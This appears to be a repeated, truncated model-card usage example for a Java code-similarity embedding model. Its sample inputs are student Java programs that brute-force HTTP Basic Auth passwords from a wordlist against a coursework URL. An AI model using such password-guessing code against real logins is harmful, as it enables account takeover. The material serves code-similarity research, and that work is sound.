  x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                